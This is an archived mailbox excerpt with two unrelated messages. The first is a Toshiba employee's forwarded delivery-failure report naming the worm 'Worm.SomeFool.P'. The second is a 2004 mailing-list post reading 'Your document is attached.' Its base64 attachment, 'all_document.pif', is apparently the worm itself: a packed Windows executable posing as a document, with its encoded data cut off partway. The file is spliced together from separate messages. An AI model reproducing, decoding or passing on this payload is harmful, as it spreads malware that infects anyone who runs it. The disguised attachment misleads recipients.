HDQMTA/TOSHIBA_TAEC, SanJose1/TOSHIBA_TAEC



To:
office@dr-weber-partner.de


cc:



Date:
10:54:41 AM ZE2 Today



Subject:
Re: website



Best Regards,

Praveen Chand
Toshiba America Electronic Components Inc.
9775 Toledo Way,
Irvine CA-92618
949 455 2288 (Work)
--=_alternative 0066351488256E77_=
Content-Type: text/html; charset="US-ASCII"


<br><font size=2 face="sans-serif">Hi,</font>
<br>
<br><font size=2 face="sans-serif">I have found this virus mail alert for
one of the mails which I had never sent. The mail is attached below, please
let me know what shall I do to remove it. Thanks.</font>
<br>
<br><font size=4 color=red face="sans-serif"><b>Delivery Failure Report</b></font>
<table width=100%>
<tr>
<td width=14%><font size=1 color=#800000 face="sans-serif">Your document:</font>
<td width=85%><font size=1 face="sans-serif">Re: website</font>
<tr>
<td><font size=1 color=#800000 face="sans-serif">was not delivered to:</font>
<td><font size=1 face="sans-serif">office@dr-weber-partner.de</font>
<tr>
<td><font size=1 color=#800000 face="sans-serif">because:</font>
<td><font size=1 face="sans-serif">550 5.7.1 Message content rejected,
id=11443-09 - VIRUS: Worm.SomeFool.P</font></table>
<p>
<p><font size=1 color=red face="sans-serif">What should you do?</font>
<ul>
<li><font size=1 face="sans-serif">You can resend the undeliverable document
to the recipients listed above by choosing the Resend button or the Resend
command on the Actions menu. &nbsp;</font>
<li><font size=1 face="sans-serif">Once you have resent the document you
may delete this Delivery Failure Report.</font>
<li><font size=1 face="sans-serif">If resending the document is not successful
you will receive a new failure report.</font>
<li><font size=1 face="sans-serif">Unless you receive other Delivery Failure
Reports, the document was successfully delivered to all other recipients.</font></ul>
<p>
<p><font size=1 face="sans-serif">HDQMTA/TOSHIBA_TAEC, SanJose1/TOSHIBA_TAEC</font>
<div align=center>
<p></div>
<br>
<table>
<tr>
<td rowspan=5 valign=top>
<div align=right></div>
<td>
<div align=right><font size=1 face="sans-serif">To:</font></div>
<td valign=top><font size=1 face="sans-serif">office@dr-weber-partner.de</font>
<tr valign=top>
<td>
<div align=right></div>
<td>
<tr>
<td>
<div align=right><font size=1 face="sans-serif">cc:</font></div>
<td valign=top>
<tr valign=top>
<td>
<div align=right></div>
<td>
<tr>
<td>
<div align=right><font size=1 face="sans-serif">Date:</font></div>
<td valign=top><font size=1 face="sans-serif">10:54:41 AM ZE2 Today</font>
<tr valign=top>
<td>
<td>
<div align=right></div>
<td>
<tr>
<td colspan=2>
<div align=right><font size=1 face="sans-serif">Subject:</font></div>
<td valign=top><font size=1 face="sans-serif">Re: website</font></table>
<br>
<br>
<br>
<br><font size=2 face="sans-serif">Best Regards,<br>
<br>
Praveen Chand<br>
Toshiba America Electronic Components Inc.<br>
9775 Toledo Way,<br>
Irvine CA-92618<br>
949 455 2288 (Work)</font>
--=_alternative 0066351488256E77_=--


From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: chamoli@sancharnet.in
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Approved
Date: Fri, 16 Apr 2004 00:12:04 +0530
Lines: 345
Approved: news@gmane.org
Message-ID: <20040415184200.5AF6D4830@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0004_0000205A.00002D66"
X-Trace: ger.gmane.org 1416623378 8353 80.91.229.3 (22 Nov 2014 02:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:38 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: chamoli@sancharnet.in  Thu Apr 15 12:42:18 2004
Return-Path: <chamoli@sancharnet.in>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [61.1.108.221])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AF6D4830
	for <parisc-linux@parisc-linux.org>;
	Thu, 15 Apr 2004 12:42:00 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 18:42:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21430

This is a multi-part message in MIME format.

------=_NextPart_000_0004_0000205A.00002D66
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your document is attached.

------=_NextPart_000_0004_0000205A.00002D66
Content-Type: application/octet-stream;
	name="all_document.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="all_document.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
